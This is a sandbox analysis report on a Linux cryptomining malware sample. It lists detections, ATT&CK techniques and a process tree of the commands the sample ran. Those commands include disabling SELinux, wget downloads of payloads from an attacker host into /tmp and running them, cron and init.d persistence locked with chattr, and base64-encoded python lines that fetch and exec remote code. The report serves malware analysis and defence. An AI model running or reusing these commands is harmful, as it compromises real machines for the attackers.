e604a730154af21ede38f155dbee7ceeb218abd02362c0eba0ad0db9c5dfad33

Analysis

max time kernel
59s
max time network
134s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
08/09/2024, 13:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
Size 23KB
Sample240908-q5agjazamn
SHA256 e604a730154af21ede38f155dbee7ceeb218abd02362c0eba0ad0db9c5dfad33
MD5 d481ad05c99f8bea7c95dcfc2017ae1e
SHA1 8868bf6e8b820fe2d039269bf023a427ab287bdd
SHA512 0685ccd5fa280a4edf8a38abcec7c78ef4f011e025da5ef45a0f4082f62cab5527071aca0c640a7d402770e695bede2b0024150ae6ff085ca8165ae8a3109c20
SSDEEP 384:fQ6PgM8PvaA0Rj1vre1rLwPLEEHLwRLEEPoHjiiQZmnJQFzPTJsyzv14Cq2CqpR7:fQ6PgM8PvaA0Rj1vre1vGLECULExDiis
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1030	chmod
938	chmod
1009	chmod
1010	chmod
1011	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/go	1012	go
/tmp/x32b	1031	x32b

Attempts to change immutable files 1 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
1014	chattr

Creates/modifies Cron job 1 TTPs 6 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/root	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
File opened for modification	/etc/cron.hourly/oanacroner1	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
File opened for modification	/etc/cron.d/root	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
File opened for modification	/etc/cron.d/apache	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
File opened for modification	/etc/cron.d/nginx	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
File opened for modification	/var/spool/cron/root	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118

Disables SELinux 6 IoCs

Disables SELinux security module.

pid	Process
773	grep
791	grep
803	grep
817	grep
711	setenforce
767	grep

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/down	bash

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
929	base64

Reads CPU attributes 1 TTPs 16 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	kill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	kill
File opened for reading	/proc/sys/kernel/osrelease	kill
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/684/stat	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/1/stat	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/10/stat	ps
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/filesystems	setenforce
File opened for reading	/proc/filesystems	kill
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/76/stat	ps
File opened for reading	/proc/710/stat	ps
File opened for reading	/proc/filesystems	kill
File opened for reading	/proc/207/stat	ps
File opened for reading	/proc/381/stat	ps
File opened for reading	/proc/664/stat	ps
File opened for reading	/proc/111/status	ps
File opened for reading	/proc/3/status	ps
File opened for reading	/proc/111/stat	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/13/status	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/37/status	ps
File opened for reading	/proc/307/status	ps
File opened for reading	/proc/312/status	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/664/status	ps
File opened for reading	/proc/14/stat	ps
File opened for reading	/proc/21/status	ps
File opened for reading	/proc/22/stat	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	kill
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/meminfo	ps
File opened for reading	/proc/430/stat	ps
File opened for reading	/proc/filesystems	kill
File opened for reading	/proc/1/status	ps
File opened for reading	/proc/69/status	ps
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/364/status	ps
File opened for reading	/proc/7/status	ps
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/sys/kernel/osrelease	kill
File opened for reading	/proc/sys/kernel/osrelease	kill
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/18/stat	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/18/status	ps
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/filesystems	kill

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/x32b	wget
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/go	wget
File opened for modification	/tmp/tmp.txt	d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/go	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/go	wget

/tmp/d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
/tmp/d481ad05c99f8bea7c95dcfc2017ae1e_JaffaCakes118
1⤵
- Creates/modifies Cron job
- Writes file to tmp directory
PID:706
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  - Reads runtime system information
  PID:711
- /bin/grep
  grep -c processor /proc/cpuinfo
  2⤵
  PID:715
- /sbin/sysctl
  sysctl -w "vm.nr_hugepages=3"
  2⤵
  - Reads CPU attributes
  PID:718
- /bin/grep
  grep :3333
  2⤵
  PID:722
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:723
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:724
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:725
- - /sbin/kill
    kill -9
    3⤵
    PID:729
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:729
- /bin/grep
  grep :4444
  2⤵
  PID:735
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:736
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:737
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:738
- - /sbin/kill
    kill -9
    3⤵
    PID:740
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:740
- /bin/grep
  grep :5555
  2⤵
  PID:747
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:748
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:749
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:750
- - /sbin/kill
    kill -9
    3⤵
    PID:752
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:752
- /bin/grep
  grep :7777
  2⤵
  PID:755
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  - Reads runtime system information
  PID:757
- /usr/bin/xargs
  xargs kill -9
  2⤵
  - Reads runtime system information
  PID:758
- - /sbin/kill
    kill -9
    3⤵
    PID:759
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:759
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:756
- /bin/grep
  grep :14444
  2⤵
  PID:761
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:763
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:762
- /usr/bin/xargs
  xargs kill -9
  2⤵
  - Reads runtime system information
  PID:764
- - /sbin/kill
    kill -9
    3⤵
    PID:765
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:765
- /bin/grep
  grep :5790
  2⤵
  - Disables SELinux
  PID:767
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:768
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:769
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:770
- - /sbin/kill
    kill -9
    3⤵
    PID:771
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:771
- /bin/grep
  grep :45700
  2⤵
  - Disables SELinux
  PID:773
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:774
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:775
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:776
- - /sbin/kill
    kill -9
    3⤵
    PID:777
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:777
- /bin/grep
  grep :2222
  2⤵
  PID:779
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:780
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:781
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:782
- - /sbin/kill
    kill -9
    3⤵
    PID:783
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    - Reads runtime system information
    PID:783
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:786
- /bin/grep
  grep :9999
  2⤵
  PID:785
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:787
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:788
- - /sbin/kill
    kill -9
    3⤵
    PID:789
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:789
- /bin/grep
  grep :20580
  2⤵
  - Disables SELinux
  PID:791
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:792
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  - Reads runtime system information
  PID:793
- /usr/bin/xargs
  xargs kill -9
  2⤵
  PID:794
- - /sbin/kill
    kill -9
    3⤵
    PID:795
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:795
- /bin/grep
  grep :13531
  2⤵
  PID:797
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:798
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  - Reads runtime system information
  PID:799
- /usr/bin/xargs
  xargs kill -9
  2⤵
  - Reads runtime system information
  PID:800
- - /sbin/kill
    kill -9
    3⤵
    PID:801
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:801
- /bin/grep
  grep 23.94.24.12:8080
  2⤵
  - Disables SELinux
  PID:803
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:804
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:805
- /usr/bin/xargs
  xargs kill -9
  2⤵
  - Reads runtime system information
  PID:806
- - /sbin/kill
    kill -9
    3⤵
    PID:809
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:809
- /bin/grep
  grep 134.122.17.13:8080
  2⤵
  - Disables SELinux
  PID:817
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:818
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  PID:819
- /usr/bin/xargs
  xargs kill -9
  2⤵
  - Reads runtime system information
  PID:820
- - /sbin/kill
    kill -9
    3⤵
    PID:822
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:822
- /bin/grep
  grep 107.189.11.170:443
  2⤵
  PID:831
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  - Reads runtime system information
  PID:832
- /bin/sed
  sed -e "s/\\/.*//g"
  2⤵
  - Reads runtime system information
  PID:833
- /usr/bin/xargs
  xargs kill -9
  2⤵
  - Reads runtime system information
  PID:834
- - /sbin/kill
    kill -9
    3⤵
    PID:836
- - /bin/kill
    kill -9
    3⤵
    - Reads CPU attributes
    PID:836
- /usr/bin/sort
  sort -R
  2⤵
  PID:846
- /usr/bin/head
  head -n1
  2⤵
  PID:847
- /usr/bin/seq
  seq 0 255
  2⤵
  PID:845
- /usr/bin/seq
  seq 0 255
  2⤵
  PID:850
- /usr/bin/sort
  sort -R
  2⤵
  PID:851
- /usr/bin/head
  head -n1
  2⤵
  PID:852
- /usr/bin/chattr
  chattr -ai /tmp/dbused
  2⤵
  PID:854
- /bin/grep
  grep "BROADCAST\\|inet"
  2⤵
  PID:857
- /bin/grep
  grep -oP "inet\\s+\\K\\d{1,3}\\.\\d{1,3}"
  2⤵
  PID:858
- /bin/grep
  grep -v 127
  2⤵
  PID:859
- /bin/grep
  grep -v inet6
  2⤵
  PID:860
- /bin/grep
  grep -v 255
  2⤵
  PID:861
- /usr/bin/head
  head -n1
  2⤵
  PID:862
- /sbin/ip
  ip a
  2⤵
  PID:856
- /bin/grep
  grep "bytes of data"
  2⤵
  PID:867
- /bin/ping
  ping -c 1 pool.supportxmr.com
  2⤵
  PID:866
- /usr/bin/wc
  wc -l
  2⤵
  PID:868
- /bin/grep
  grep "bytes of data"
  2⤵
  PID:921
- /usr/bin/wc
  wc -l
  2⤵
  PID:922
- /bin/ping
  ping -c 1 bash.givemexyz.xyz
  2⤵
  PID:920
- /usr/bin/whoami
  whoami
  2⤵
  PID:923
- /usr/bin/whoami
  whoami
  2⤵
  PID:924
- /bin/grep
  grep -q "205.185.113.151\\|5.196.247.12\\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly81LjE5Ni4yNDcuMTIvZC5weSIpLnJlYWQoKSkn"
  2⤵
  PID:926
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:925
- /usr/bin/whoami
  whoami
  2⤵
  PID:927
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:929
- /bin/bash
  bash -
  2⤵
  - Modifies init.d
  PID:930
- - /bin/grep
    grep "bytes of data"
    3⤵
    PID:933
- - /usr/bin/wc
    wc -l
    3⤵
    PID:934
- - /bin/ping
    ping -c 1 bash.givemexyz.xyz
    3⤵
    PID:932
- /bin/mkdir
  mkdir -p /var/spool/cron/crontabs
  2⤵
  PID:935
- /bin/mkdir
  mkdir -p /etc/cron.hourly
  2⤵
  - Reads runtime system information
  PID:936
- /bin/chmod
  chmod 755 /etc/cron.hourly/oanacroner1
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /usr/bin/chattr
  chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down
  2⤵
  PID:939
- /bin/grep
  grep "66.70.218.40:8080\\|209.141.35.17:8080"
  2⤵
  PID:942
- /bin/grep
  grep "LISTEN\\|ESTABLISHED\\|TIME_WAIT"
  2⤵
  PID:943
- /bin/grep
  grep -v grep
  2⤵
  PID:944
- /bin/grep
  grep "66.70.218.40:8080\\|209.141.35.17:8080"
  2⤵
  PID:947
- /bin/grep
  grep ESTABLISHED
  2⤵
  PID:948
- /bin/grep
  grep -v grep
  2⤵
  PID:949
- /usr/bin/awk
  awk "{if(\$2>=30.0) print \$1}"
  2⤵
  PID:951
- /bin/ps
  ps axf -o "pid %cpu"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:950
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:957
- /usr/bin/md5sum
  md5sum /tmp/x86_643
  2⤵
  PID:956
- /usr/bin/getconf
  getconf LONG_BIT
  2⤵
  PID:958
- /usr/bin/wget
  wget -O /tmp/x86_64 http://bash.givemexyz.xyz/x86_64
  2⤵
  - Writes file to tmp directory
  PID:959
- /usr/bin/wget
  wget -O /tmp/i686 http://bash.givemexyz.xyz/i686
  2⤵
  - Writes file to tmp directory
  PID:960
- /usr/bin/wget
  wget -O /tmp/go http://bash.givemexyz.xyz/go
  2⤵
  - Writes file to tmp directory
  PID:961
- /usr/bin/md5sum
  md5sum /tmp/x86_64
  2⤵
  PID:967
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:968
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:971
- /usr/bin/md5sum
  md5sum /tmp/x86_64
  2⤵
  PID:970
- /usr/bin/du
  du /tmp/x86_64
  2⤵
  PID:972
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:976
- /usr/bin/md5sum
  md5sum /tmp/x86_643
  2⤵
  PID:975
- /usr/bin/getconf
  getconf LONG_BIT
  2⤵
  PID:977
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/x86_64 http://bash.givemexyz.xyz/x86_64
  2⤵
  - Writes file to tmp directory
  PID:978
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/i686 http://bash.givemexyz.xyz/i686
  2⤵
  - Writes file to tmp directory
  PID:979
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/go http://bash.givemexyz.xyz/go
  2⤵
  - Writes file to tmp directory
  PID:980
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  - Reads runtime system information
  PID:987
- /usr/bin/md5sum
  md5sum /tmp/x86_64
  2⤵
  PID:986
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  - Reads runtime system information
  PID:990
- /usr/bin/md5sum
  md5sum /tmp/x86_64
  2⤵
  PID:989
- /usr/bin/du
  du /tmp/sssus
  2⤵
  PID:991
- /bin/rm
  rm -rf /usr/local/lib/libkk.so
  2⤵
  PID:992
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/x86_64 http://bash.givemexyz.xyz/x86_64
  2⤵
  - Writes file to tmp directory
  PID:993
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/i686 http://bash.givemexyz.xyz/i686
  2⤵
  - Writes file to tmp directory
  PID:994
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/go http://bash.givemexyz.xyz/go
  2⤵
  - Writes file to tmp directory
  PID:995
- /bin/chmod
  chmod +x /tmp/i686
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /bin/chmod
  chmod +x /tmp/x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1010
- /bin/chmod
  chmod +x /tmp/go
  2⤵
  - File and Directory Permissions Modification
  PID:1011
- /tmp/go
  /tmp/go
  2⤵
  - Executes dropped EXE
  PID:1012
- /usr/bin/chattr
  chattr -i -V /tmp/dbused
  2⤵
  - Attempts to change immutable files
  PID:1014
- /bin/sleep
  sleep 5
  2⤵
  PID:1015
- /bin/grep
  grep -v grep
  2⤵
  PID:1022
- /bin/grep
  grep 104.244.75.25:443
  2⤵
  PID:1020
- /bin/grep
  grep ESTABLISHED
  2⤵
  PID:1021
- /usr/bin/getconf
  getconf LONG_BIT
  2⤵
  PID:1023
- /usr/bin/wget
  wget --no-check-certificate -O /tmp/x32b http://bash.givemexyz.xyz/x32b
  2⤵
  - Writes file to tmp directory
  PID:1024
- /bin/chmod
  chmod 777 /tmp/x32b
  2⤵
  - File and Directory Permissions Modification
  PID:1030
- /tmp/x32b
  /tmp/x32b
  2⤵
  - Executes dropped EXE
  PID:1031
- /usr/bin/crontab
  crontab -l
  2⤵
  - Reads runtime system information
  PID:1033
- /bin/grep
  grep -q "bash.givemexyz.xyz\\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly9iYXNoLmdpdmVtZXh5ei54eXovZGQucHkiKS5yZWFkKCkpJw=="
  2⤵
  PID:1034
- /bin/rm
  rm -rf /tmp/2start.jpg
  2⤵
  PID:1035
- /bin/rm
  rm -rf /tmp/xms
  2⤵
  PID:1036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

apache

Path /etc/cron.d/apache
Size 346B
SHA256 334d1a7b75a1cb93ed2765ae4ed1dcf5183d0f2014d24d02789e1a3b94887c8d
MD5 e42ea695a7e09ddaa26160c1e481c762
SHA1 9eb55ab4714d567cd4636a13d10f5d9d5fb8b4d8
SHA512 760c1046bc4b6373aed6915189a5df3ea3bfe25f6fb7e3b180074eed7510c065a89a75f0c47c8dce5a947d243b9605614b64941b1ff584ba77472b01494e6cf5
MD5 SHA1 SHA512

Submit Download

nginx

Path /etc/cron.d/nginx
Size 108B
SHA256 cf56e9df59c7c2d5fa9e3070c6e10b7339ea03f173769cc2f88dd508e302c61a
MD5 4ef637e9e2b81ad2d84eda29993aa999
SHA1 78471531458f18745af22f1560986d009d95b5ee
SHA512 d02157939f4d3086ccc6f91fafba5ec3176700aa9513219d92b8fe57bcdb28d5090ac7de0500a11f562e2f7d3944188100c951cdf08655dde6d0c321ecabeb01
MD5 SHA1 SHA512

Submit Download

root

Path /etc/cron.d/root
Size 346B
SHA256 9741f17314f2e3fab8c7c8c2ce3f2e10703aa01e30eb1b81495b227181fd5d00
MD5 ef52e632bef3c6eeff9513001096993b
SHA1 e54db7f5818022f14f7dd53681ffe0e51f0d1eb7
SHA512 90f003fc2c140a4e06e996a9eab1b931c9e2e6e1460670f2cacf0fa3612d79a144d055c2f2ade6b12c565a703a448bd52bc6e0f510d9c60b775cf41d44272fa4
MD5 SHA1 SHA512

Submit Download

oanacroner1

Path /etc/cron.hourly/oanacroner1
Size 328B
SHA256 8d5aba7d28abaa59d23e6749836925795e2d8e0e776e91baa2aea3d24eb5867a
MD5 c52ceaa2e834a11076a37b025eaec556
SHA1 4fa950a0e7e23c4271e9dbe02635656921b4fd57
SHA512 88897326bf302aa8ce8dbf9bb0dcedefa78196aff7539bf301c87e5dd8703867128ba8cacc6870732bbba750e0dff3dd41fb499193bf57267f6af246b4d0b9e7
MD5 SHA1 SHA512

Submit Download

down

Path /etc/init.d/down
Size 363B
SHA256 3c44fde9909cfffd4f4e46bab70d902548f0e9218f2b7984ce51770fd1c67275
MD5 dcf01b550a04315f97454977a2abd4bb
SHA1 ab6edfc519b633c31bde9564f5ea5b969af5931f
SHA512 5ab6beb27b6a24c8eeb08da819999575031def90020641a0b8c21a7bb38a61393acff0aa6600337e0da4c35f866c20902bcf4d84ce170c6c1d7c6c230b6a8d9d
MD5 SHA1 SHA512

Submit Download

tmp.txt

Path /tmp/tmp.txt
Size 100B
SHA256 c3fcce675eb09de5e60c039429041eba2f05afffc99c159ae334ac3bcfc8726d
MD5 08e86e552efcccdbf4f443b3a3a90f12
SHA1 c2f1a873f85fddd116502899a88f8175c1f8f46a
SHA512 5328cff023a5662d1f1866a8d43ef56d43e5668a235397f64d8cd20f329ea273ac4b597b95b5f6872e5fd47c7794dd5ed15945ac5bcf7522208da82ff223c0fd
MD5 SHA1 SHA512

Submit Download

root

Path /var/spool/cron/crontabs/root
Size 339B
SHA256 a58d3759d1b41ac8c84dc71206417cfc8bff9cf62d55c20ea8aa4853479142c4
MD5 8fe57baf3398b3d055a2a9d3293af0fb
SHA1 b30917060e8ec92f621ba78511d2711588488b19
SHA512 45f5e2cc489f7f62f55e1cd7107d49ad5784ec45d4360005b6fb651fe6daafc46fbd85f4d4a9648b185e59725df88497db7d738044607c53927f1278ae8f1230
MD5 SHA1 SHA512

Submit Download

root

Path /var/spool/cron/root
Size 343B
SHA256 cfb70c84f471214e15fe79d50d9b277bbf9d42b384a103d8ca55454dd01699fc
MD5 92749d1cc898e96d2d6198d70b221bbb
SHA1 10b153438c93469789b8e10d084b762166a675b8
SHA512 a8ebeaccfca34501d264fadd91cc4ea1f1057e66b2053ed5125e5071aa5892119b4b876330d9559be72b08d1b2cf8b86022da5bf085967378642a1d9c448610d
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads